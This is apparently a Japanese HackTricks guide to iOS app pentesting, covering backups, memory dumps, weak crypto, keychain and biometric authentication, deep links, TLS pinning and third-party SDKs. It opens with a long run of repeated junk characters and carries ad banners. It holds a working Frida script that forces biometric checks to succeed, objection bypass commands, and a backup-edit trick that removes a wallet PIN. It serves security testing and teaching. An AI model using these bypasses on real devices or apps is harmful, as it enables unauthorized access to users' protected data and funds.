(1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1)
iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
========================
ASL is here to serve you
> watch
OK
Jun 7 13:42:14 iPhone chmod[9705] <Notice>: MS:Notice: Injecting: (null) [chmod] (1556.00)
Jun 7 13:42:14 iPhone readlink[9706] <Notice>: MS:Notice: Injecting: (null) [readlink] (1556.00)
Jun 7 13:42:14 iPhone rm[9707] <Notice>: MS:Notice: Injecting: (null) [rm] (1556.00)
Jun 7 13:42:14 iPhone touch[9708] <Notice>: MS:Notice: Injecting: (null) [touch] (1556.00)
...
Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。
今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
バックアップ
iOSには、デバイスに保存されているデータのコピーを作成する自動バックアップ機能が含まれています。iTunes(macOS Catalinaまで)またはFinder(macOS Catalina以降)を使用するか、iCloudバックアップ機能を使用して、ホストコンピュータからiOSバックアップを作成できます。いずれの場合も、バックアップにはApple Pay情報やTouch IDの設定などの高度に機密性の高いデータを除く、iOSデバイスに保存されているほぼすべてのデータが含まれます。
iOSはインストールされたアプリとそのデータをバックアップするため、明らかな懸念は、アプリによって保存された機密ユーザーデータがバックアップを通じて意図せず漏洩する可能性があるかどうかです。もう1つの懸念は、データを保護したりアプリの機能を制限するために使用される機密の設定が、変更されたバックアップを復元した後にアプリの動作を変更するために改ざんされる可能性があるかどうかです。両方の懸念は妥当であり、これらの脆弱性は現在の多くのアプリに存在することが証明されています。
モバイルアプリがインストールされたデバイスのバックアップには、アプリのプライベートディレクトリのすべてのサブディレクトリ(Library/Caches/
を除く)およびファイルが含まれます。
したがって、アプリのプライベートディレクトリまたはサブディレクトリに含まれるファイルやフォルダに機密データを平文で保存しないようにしてください。
Documents/
およびLibrary/Application Support/
のすべてのファイルは、デフォルトで常にバックアップされますが、バックアップからファイルを除外するには、NSURLIsExcludedFromBackupKey
キーを使用してNSURL setResourceValue:forKey:error:
を呼び出すことができます。
ファイルとディレクトリをバックアップから除外するために、NSURLIsExcludedFromBackupKeyおよびCFURLIsExcludedFromBackupKeyファイルシステムプロパティを使用できます。
{% hint style="warning" %} したがって、アプリケーションのバックアップをチェックする際には、アクセス可能な機密情報があるかどうかを確認し、バックアップの設定を変更することでアプリケーションの機密な動作を変更できるかどうかを確認する必要があります。 {% endhint %}
テスト方法
まず、デバイスのバックアップを作成してください(Finderを使用して行うことができます)。バックアップの保存場所を見つけるために、公式のAppleのドキュメントを参照してください:iPhone、iPad、およびiPod touchのバックアップの場所を見つける。
デバイスのバックアップ(/Users/carlos.martin/Library/Application Support/MobileSync/Backup/{deviceID}
)を見つけたら、grepなどを使用して機密情報を探したり、iMazingのようなツールを使用したりできます。
バックアップが暗号化されているかどうかを特定するには、バックアップディレクトリのルートにある「Manifest.plist」というファイルから「IsEncrypted」というキーを確認できます。次の例は、バックアップが暗号化されていることを示す設定を示しています:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
...
<key>Date</key>
<date>2021-03-12T17:43:33Z</date>
<key>IsEncrypted</key>
<true/>
...
</plist>
必要に応じて、暗号化されたバックアップで作業する場合、DinoSecのGitHubリポジトリには、backup_tool.pyやbackup_passwd.pyなどのPythonスクリプトがいくつかあります。これらは良い出発点となるでしょう。ただし、最新のiTunes/Finderバージョンでは動作しない可能性があり、微調整が必要になるかもしれません。
また、ツールiOSbackupを使用して、パスワードで暗号化されたiOSバックアップから簡単にファイルを読み取り、抽出することもできます。
動作の変更方法
オープンソースのビットコインウォレットアプリであるBitherでは、UIをロックするためにPINを設定することができます。
このPINは、pin_codeというkeyでnet.bither.plist
というファイルに保存されています。
このplist内のキーを削除し、バックアップを復元すると、ウォレットにアクセスできるようになります。
機密データのメモリテスト
ある時点で、機密情報がメモリに保存されることになります。目的は、この情報ができるだけ短時間で露出されるようにすることです。
アプリケーションのメモリを調査するためには、まずメモリダンプを作成します。または、デバッガなどを使用してメモリをリアルタイムで分析することもできます。どの方法を使用しても、これは非常にエラーが発生しやすいプロセスです。ダンプは実行された関数によって残されたデータを提供し、重要なステップを実行し忘れる可能性があります。また、分析中にデータを見落とすことは、データの足跡(正確な値または形式)を知っていない限り非常に簡単です。たとえば、アプリがランダムに生成された対称鍵に従って暗号化する場合、その鍵をメモリ内で見つけることは非常に困難です。
メモリダンプの取得と分析
脱獄済みのデバイスまたは非脱獄済みのデバイスを使用して、objectionとFridumpを使用して、アプリのプロセスメモリをダンプすることができます。
メモリがダンプされた後(たとえば、"memory"という名前のファイルにダンプされた場合)、探しているデータの性質に応じて、さまざまなツールセットが必要になります。たとえば、文字列に焦点を当てている場合、strings
コマンドやrabin2 -zz
コマンドを実行してそれらの文字列を抽出することが十分かもしれません。
# using strings
$ strings memory > strings.txt
# using rabin2
$ rabin2 -ZZ memory > strings.txt
お気に入りのエディタでstrings.txt
を開き、機密情報を特定するために探索してください。
ただし、他の種類のデータを調査したい場合は、radare2とその検索機能を使用することをお勧めします。詳細な情報とオプションのリストについては、radare2の検索コマンド(/?
)のヘルプを参照してください。以下はその一部です。
$ r2 <name_of_your_dump_file>
[0x00000000]> /?
Usage: /[!bf] [arg] Search stuff (see 'e??search' for options)
|Use io.va for searching in non virtual addressing spaces
| / foo\x00 search for string 'foo\0'
| /c[ar] search for crypto materials
| /e /E.F/i match regular expression
| /i foo search for string 'foo' ignoring case
| /m[?][ebm] magicfile search for magic, filesystems or binary headers
| /v[1248] value look for an `cfg.bigendian` 32bit value
| /w foo search for wide string 'f\0o\0o\0'
| /x ff0033 search for hex string
| /z min max search for strings of given size
...
ランタイムメモリ解析
r2fridaを使用することで、アプリが実行中であり、ダンプする必要なくメモリを分析および検査することができます。例えば、r2fridaから前述の検索コマンドを実行し、文字列や16進数の値などをメモリ内で検索することができます。その際、セッションをr2 frida://usb//<name_of_your_app>
で開始した後、検索コマンド(および他のr2frida固有のコマンド)の前にバックスラッシュ\
を付けることを忘れないでください。
破損した暗号化
鍵管理プロセスの不備
一部の開発者は、機密データをローカルストレージに保存し、コード内でハードコード/予測可能な鍵で暗号化しています。これは行ってはならないことです。リバースエンジニアリングによって攻撃者が機密情報を抽出することができる可能性があるためです。
安全でないおよび/または非推奨のアルゴリズムの使用
開発者は、認証のチェック、データの保存、送信に非推奨のアルゴリズムを使用すべきではありません。これらのアルゴリズムのいくつかには、RC4、MD4、MD5、SHA1などがあります。例えば、パスワードを保存するためにハッシュが使用される場合、ソルトを使用したハッシュブルートフォース耐性のある方法を使用する必要があります。
チェック
コード内にハードコードされたパスワード/シークレットがあるか、それらが予測可能であるか、コードが弱い****暗号化アルゴリズムを使用しているかを確認するために行う主なチェックです。
興味深いことに、objectionを使用して一部の暗号ライブラリを自動的にモニタリングすることができます。以下のコマンドを使用します。
ios monitor crypt
詳細な情報については、iOSの暗号化APIとライブラリにアクセスしてくださいhttps://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography
ローカル認証
テスターは、ローカル認証は常にリモートエンドポイントで強制するか、暗号化プリミティブに基づいている必要があることを認識しておく必要があります。データが認証プロセスから返らない場合、攻撃者は簡単にローカル認証をバイパスすることができます。
Local Authentication frameworkは、開発者が認証ダイアログをユーザーに拡張するための一連のAPIを提供します。リモートサービスに接続する文脈では、ローカル認証を実装するためにkeychainを活用することが可能です(おすすめです)。
指紋IDセンサーは、SecureEnclaveセキュリティコプロセッサによって操作され、指紋データをシステムの他の部分に公開しません。Touch IDの次に、Appleは顔認識に基づいた認証を可能にする_Face ID_を導入しました。
開発者は、Touch ID/Face ID認証を組み込むために2つのオプションがあります:
LocalAuthentication.framework
は、ユーザーをTouch IDを使用して認証するための高レベルのAPIです。アプリは登録された指紋に関連するデータにアクセスできず、認証が成功したかどうかのみを通知されます。Security.framework
は、keychainサービスにアクセスするための低レベルのAPIです。アプリがバイオメトリック認証でいくつかの秘密データを保護する必要がある場合、これは安全なオプションです。アクセス制御はシステムレベルで管理され、簡単にバイパスすることはできません。Security.framework
にはC APIがありますが、いくつかのオープンソースのラッパーが利用可能であり、キーチェーンへのアクセスはNSUserDefaultsへのアクセスと同じくらい簡単です。
{% hint style="danger" %}
LocalAuthentication.framework
またはSecurity.framework
を使用する場合、攻撃者によってバイパスされる可能性のある制御になることに注意してください。これらの制御は、真偽値のみを返し、進行するためのデータは返しません。詳細については、Don't touch me that way, by David Lindner et alを参照してください。
{% endhint %}
ローカル認証フレームワーク
開発者は、LAContext
クラスのevaluatePolicy
関数を利用して認証プロンプトを表示することができます。利用可能な2つのポリシーは、受け入れ可能な認証形式を定義します:
deviceOwnerAuthentication
(Swift)またはLAPolicyDeviceOwnerAuthentication
(Objective-C):利用可能な場合、ユーザーはTouch ID認証を実行するように求められます。Touch IDがアクティブ化されていない場合、デバイスのパスコードが代わりに要求されます。デバイスのパスコードが有効にされていない場合、ポリシーの評価は失敗します。deviceOwnerAuthenticationWithBiometrics
(Swift)またはLAPolicyDeviceOwnerAuthenticationWithBiometrics
(Objective-C):認証はTouch IDに制限され、ユーザーはTouch IDのために求められます。
evaluatePolicy
関数は真偽値を返します。ユーザーが正常に認証されたかどうかを示します。つまり、簡単にバイパスすることができます(以下を参照)。
キーチェーンを使用したローカル認証
iOSキーチェーンAPIは(そして使用すべきです)ローカル認証を実装するために使用できます。このプロセスでは、アプリはキーチェーンに秘密の認証トークンまたはユーザーを識別する他の秘密データを保存します。リモートサービスに認証するために、ユーザーはパスフレーズまたは指紋を使用してキーチェーンをロック解除し、秘密データを取得する必要があります。
キーチェーンは、特別なSecAccessControl
属性を持つアイテムを保存することができます。これにより、ユーザーがTouch ID認証をパスした後(または属性パラメータで許可されている場合はパスコード)、キーチェーンからのアイテムへのアクセスが許可されます。
次の例では、文字列「test_strong_password」をキーチェーンに保存します。文字列は、パスコードが設定されている場合にのみ現在のデバイスでアクセスでき、現在登録されている指紋に対してTouch ID認証が行われた後にのみアクセスできます(kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly
パラメータとSecAccessControlCreateFlags.biometryCurrentSet
パラメータ):
{% tabs %} {% tab title="Swift" %}
// 1. create AccessControl object that will represent authentication settings
var error: Unmanaged<CFError>?
guard let accessControl = SecAccessControlCreateWithFlags(kCFAllocatorDefault,
kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly,
SecAccessControlCreateFlags.biometryCurrentSet,
&error) else {
// failed to create AccessControl object
return
}
// 2. define keychain services query. Pay attention that kSecAttrAccessControl is mutually exclusive with kSecAttrAccessible attribute
var query: [String: Any] = [:]
query[kSecClass as String] = kSecClassGenericPassword
query[kSecAttrLabel as String] = "com.me.myapp.password" as CFString
query[kSecAttrAccount as String] = "OWASP Account" as CFString
query[kSecValueData as String] = "test_strong_password".data(using: .utf8)! as CFData
query[kSecAttrAccessControl as String] = accessControl
// 3. save item
let status = SecItemAdd(query as CFDictionary, nil)
if status == noErr {
// successfully saved
} else {
// error while saving
}
{% endtab %}
{% tab title="Objective-C" %}オブジェクティブ-C{% endtab %}
// 1. create AccessControl object that will represent authentication settings
CFErrorRef *err = nil;
SecAccessControlRef sacRef = SecAccessControlCreateWithFlags(kCFAllocatorDefault,
kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly,
kSecAccessControlUserPresence,
err);
// 2. define keychain services query. Pay attention that kSecAttrAccessControl is mutually exclusive with kSecAttrAccessible attribute
NSDictionary* query = @{
(_ _bridge id)kSecClass: (__bridge id)kSecClassGenericPassword,
(__bridge id)kSecAttrLabel: @"com.me.myapp.password",
(__bridge id)kSecAttrAccount: @"OWASP Account",
(__bridge id)kSecValueData: [@"test_strong_password" dataUsingEncoding:NSUTF8StringEncoding],
(__bridge id)kSecAttrAccessControl: (__bridge_transfer id)sacRef
};
// 3. save item
OSStatus status = SecItemAdd((__bridge CFDictionaryRef)query, nil);
if (status == noErr) {
// successfully saved
} else {
// error while saving
}
{% endtab %} {% endtabs %}
今、私たちはキーチェーンから保存されたアイテムをリクエストすることができます。キーチェーンサービスは、ユーザーに認証ダイアログを表示し、適切な指紋が提供されたかどうかに応じてデータまたはnilを返します。
{% tabs %} {% tab title="Swift" %}
// 1. define query
var query = [String: Any]()
query[kSecClass as String] = kSecClassGenericPassword
query[kSecReturnData as String] = kCFBooleanTrue
query[kSecAttrAccount as String] = "My Name" as CFString
query[kSecAttrLabel as String] = "com.me.myapp.password" as CFString
query[kSecUseOperationPrompt as String] = "Please, pass authorisation to enter this area" as CFString
// 2. get item
var queryResult: AnyObject?
let status = withUnsafeMutablePointer(to: &queryResult) {
SecItemCopyMatching(query as CFDictionary, UnsafeMutablePointer($0))
}
if status == noErr {
let password = String(data: queryResult as! Data, encoding: .utf8)!
// successfully received password
} else {
// authorization not passed
}
{% endtab %}
{% tab title="Objective-C" %}オブジェクティブ-C{% endtab %}
// 1. define query
NSDictionary *query = @{(__bridge id)kSecClass: (__bridge id)kSecClassGenericPassword,
(__bridge id)kSecReturnData: @YES,
(__bridge id)kSecAttrAccount: @"My Name1",
(__bridge id)kSecAttrLabel: @"com.me.myapp.password",
(__bridge id)kSecUseOperationPrompt: @"Please, pass authorisation to enter this area" };
// 2. get item
CFTypeRef queryResult = NULL;
OSStatus status = SecItemCopyMatching((__bridge CFDictionaryRef)query, &queryResult);
if (status == noErr){
NSData* resultData = ( __bridge_transfer NSData* )queryResult;
NSString* password = [[NSString alloc] initWithData:resultData encoding:NSUTF8StringEncoding];
NSLog(@"%@", password);
} else {
NSLog(@"Something went wrong");
}
{% endtab %} {% endtabs %}
検出
アプリ内でのフレームワークの使用は、アプリのバイナリの共有ダイナミックライブラリのリストを分析することで検出することもできます。これは、otool
を使用して行うことができます。
$ otool -L <AppName>.app/<AppName>
もしアプリでLocalAuthentication.framework
が使用されている場合、出力には以下の2つの行が含まれます(LocalAuthentication.framework
は内部でSecurity.framework
を使用していることを覚えておいてください):
/System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication
/System/Library/Frameworks/Security.framework/Security
もしSecurity.framework
が使用されている場合、2番目のもののみ表示されます。
ローカル認証フレームワークのバイパス
Objection
****Objection バイオメトリクスバイパス ****は、LocalAuthenticationをバイパスするために使用できます。ObjectionはFridaを使用してevaluatePolicy
関数をインストゥルメント化し、認証が成功しなかった場合でもTrue
を返すようにします。ios ui biometrics_bypass
コマンドを使用して、セキュリティの脆弱なバイオメトリック認証をバイパスします。Objectionはジョブを登録し、evaluatePolicy
の結果を置き換えます。これはSwiftとObjective-Cの両方で動作します。
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios ui biometrics_bypass
(agent) Registering job 3mhtws9x47q. Type: ios-biometrics-disable
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # (agent) [3mhtws9x47q] Localized Reason for auth requirement: Please authenticate yourself
(agent) [3mhtws9x47q] OS authentication response: false
(agent) [3mhtws9x47q] Marking OS response as True instead
(agent) [3mhtws9x47q] Biometrics bypass hook complete
もし脆弱性がある場合、モジュールは自動的にログインフォームをバイパスします。
Frida
DVIA-v2アプリケーションから**evaluatePolicy
**の使用例:
+(void)authenticateWithTouchID {
LAContext *myContext = [[LAContext alloc] init];
NSError *authError = nil;
NSString *myLocalizedReasonString = @"Please authenticate yourself";
if ([myContext canEvaluatePolicy:LAPolicyDeviceOwnerAuthenticationWithBiometrics error:&authError]) {
[myContext evaluatePolicy:LAPolicyDeviceOwnerAuthenticationWithBiometrics
localizedReason:myLocalizedReasonString
reply:^(BOOL success, NSError *error) {
if (success) {
dispatch_async(dispatch_get_main_queue(), ^{
[TouchIDAuthentication showAlert:@"Authentication Successful" withTitle:@"Success"];
});
} else {
dispatch_async(dispatch_get_main_queue(), ^{
[TouchIDAuthentication showAlert:@"Authentication Failed !" withTitle:@"Error"];
});
}
}];
} else {
dispatch_async(dispatch_get_main_queue(), ^{
[TouchIDAuthentication showAlert:@"Your device doesn't support Touch ID or you haven't configured Touch ID authentication on your device" withTitle:@"Error"];
});
}
}
ローカル認証をバイパスするためには、上記に貼り付けられたコードスニペットで示されているように、evaluatePolicyのチェックをバイパスするFridaスクリプトを作成する必要があります。上記のコードスニペットでわかるように、evaluatePolicyはcallbackを使用してresultを決定します。したがって、ハックを達成する最も簡単な方法は、そのコールバックを傍受し、常にsuccess=1を返すようにすることです。
// from https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/
if(ObjC.available) {
console.log("Injecting...");
var hook = ObjC.classes.LAContext["- evaluatePolicy:localizedReason:reply:"];
Interceptor.attach(hook.implementation, {
onEnter: function(args) {
var block = new ObjC.Block(args[4]);
const callback = block.implementation;
block.implementation = function (error, value) {
console.log("Changing the result value to true")
const result = callback(1, null);
return result;
};
},
});
} else {
console.log("Objective-C Runtime is not available!");
}
frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-ios.js
IPCを介した機密機能の公開
カスタムURIハンドラー/ディープリンク/カスタムスキーム
{% content-ref url="ios-custom-uri-handlers-deeplinks-custom-schemes.md" %} ios-custom-uri-handlers-deeplinks-custom-schemes.md {% endcontent-ref %}
ユニバーサルリンク
{% content-ref url="ios-universal-links.md" %} ios-universal-links.md {% endcontent-ref %}
UIActivity共有
{% content-ref url="ios-uiactivity-sharing.md" %} ios-uiactivity-sharing.md {% endcontent-ref %}
UIPasteboard
{% content-ref url="ios-uipasteboard.md" %} ios-uipasteboard.md {% endcontent-ref %}
アプリ拡張機能
{% content-ref url="ios-app-extensions.md" %} ios-app-extensions.md {% endcontent-ref %}
Webビュー
{% content-ref url="ios-webviews.md" %} ios-webviews.md {% endcontent-ref %}
シリアル化とエンコーディング
{% content-ref url="ios-serialisation-and-encoding.md" %} ios-serialisation-and-encoding.md {% endcontent-ref %}
ネットワーク通信
暗号化なしでの通信が行われていないことと、アプリケーションがサーバーのTLS証明書を正しく検証していることを確認することが重要です。
このような問題をチェックするためには、Burpのようなプロキシを使用できます。
{% content-ref url="burp-configuration-for-ios.md" %} burp-configuration-for-ios.md {% endcontent-ref %}
ホスト名のチェック
TLS証明書の検証における一般的な問題は、証明書が信頼できるCAによって署名されているかどうかを確認することですが、証明書のホスト名がアクセスされているホスト名と一致しているかどうかをチェックしないことです。
この問題をBurpを使用してチェックするためには、iPhoneでBurp CAを信頼した後、異なるホスト名のためにBurpで新しい証明書を作成して使用します。アプリケーションがまだ動作する場合、何かが脆弱です。
証明書ピニング
アプリケーションが正しくSSLピニングを使用している場合、アプリケーションは証明書が予想されるものである場合にのみ動作します。しかし、アプリケーションをテストする際には、Burpが独自の証明書を提供するため、これは問題になる可能性があります。
Jailbrokenデバイス内でこの保護をバイパスするために、アプリケーションSSL Kill Switchをインストールするか、[Burp Mobile Assistant_*](_https://portswigger.net/burp/documentation/desktop/tools/mobile-assistant/installing)\*をインストールできます。
また、objectionのios sslpinning disable
を使用することもできます。
その他
- **
/System/Library
**には、システムアプリケーションで使用される電話にインストールされたフレームワークがあります。 - App Storeからユーザーがインストールしたアプリケーションは、**
/User/Applications
**内にあります。 - **
/User/Library
**には、ユーザーレベルのアプリケーションによって保存されたデータが含まれています。 - **
/User/Library/Notes/notes.sqlite
**にアクセスして、アプリケーション内に保存されたメモを読むことができます。 - インストールされたアプリケーションのフォルダー(
/User/Applications/<APP ID>/
)の中には、いくつかの興味深いファイルがあります: iTunesArtwork
:アプリで使用されるアイコンiTunesMetadata.plist
:App Storeで使用されるアプリの情報/Library/*
:設定とキャッシュが含まれています。**/Library/Cache/Snapshots/*
**には、バックグラウンドに送信する前にアプリケーションに対して実行されたスナップショットがあります。
ホットパッチング/強制更新
開発者は、アプリをApp Storeに再提出して承認されるまで待つことなく、すべてのインストールされたアプリをリモートで即座にパッチすることができます。
この目的のためには、通常JSPatch**が使用されます。**ただし、Sirenやreact-native-appstore-version-checkerなどの他のオプションもあります。
**これは悪意のある第三者のSDKによって悪用される可能性がある危険なメカニズムです。そのため、自動更新に使用される方法(あれば)を確認し、テストすることが推奨されます。**この目的のために、以前のバージョンのアプリをダウンロードして試すことができます。
サードパーティ
サードパーティのSDKの問題の一つは、SDKが提供する機能に対して細かい制御ができないことです。SDKを使用すると、診断的な情報漏洩や安全でないHTTP接続を含むすべての機能を使用することになります。また、通常、アプリケーションの開発者はSDKの脆弱性をパッチすることができません。
さらに、一部のSDKは、コミュニティに非常に信頼されるようになると、マルウェアを含むようになることがあります。
さらに、これらのサービスが提供する機能には、アプリの使用中にユーザーの行動を監視するためのトラッキングサービス、バナー広告の販売、ユーザーエクスペリエンスの向上などが含まれる場合があります。サードパーティサービスのデメリットは、開発者がサードパーティライブラリを介して実行されるコードの詳細を把握できないことです。そのため、サービスに送信する情報は必要最小限にとどめ、機密情報は開示しないようにする必要があります。
データをサードパーティサービスに送信する際には、ユーザーアカウントを特定することができるPII(個人を特定できる情報)の公開を防ぐために、データを匿名化する必要があります。
アプリケーションが使用しているライブラリは、アプリに対して**otool
**を実行することで見つけることができます(さらに使用されている共有ライブラリを見つけるために、各共有ライブラリに対して実行することもできます)。
参考文献
- https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering
- iOS & Mobile App Pentesting - INE
追加情報
- https://github.com/ivRodriguezCA/RE-iOS-Apps/ IOS無料コース(https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/)
- https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577
- https://www.slideshare.net/RyanISI/ios-appsecurityminicourse
- https://github.com/prateek147/DVIA
- https://github.com/prateek147/DVIA-v2
- https://github.com/OWASP/MSTG-Hacking-Playground%20
- OWASP iGoat https://github.com/OWASP/igoat <<< Objective-Cバージョン https://github.com/OWASP/iGoat-Swift <<< Swiftバージョン
- https://github.com/authenticationfailure/WheresMyBrowser.iOS
- https://github.com/nabla-c0d3/ssl-kill-switch2
Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築し、自動化します。
今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksで会社を宣伝したいですか?または、最新バージョンのPEASSを入手したいですか?または、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを発見しましょう、私たちの独占的なNFTのコレクション
- 公式のPEASS&HackTricks swagを手に入れましょう
- 💬 Discordグループまたはtelegramグループに参加するか、Twitterでフォローしてください🐦@carlospolopm.
- ハッキングのトリックを共有するには、hacktricks repo と hacktricks-cloud repo にPRを提出してください。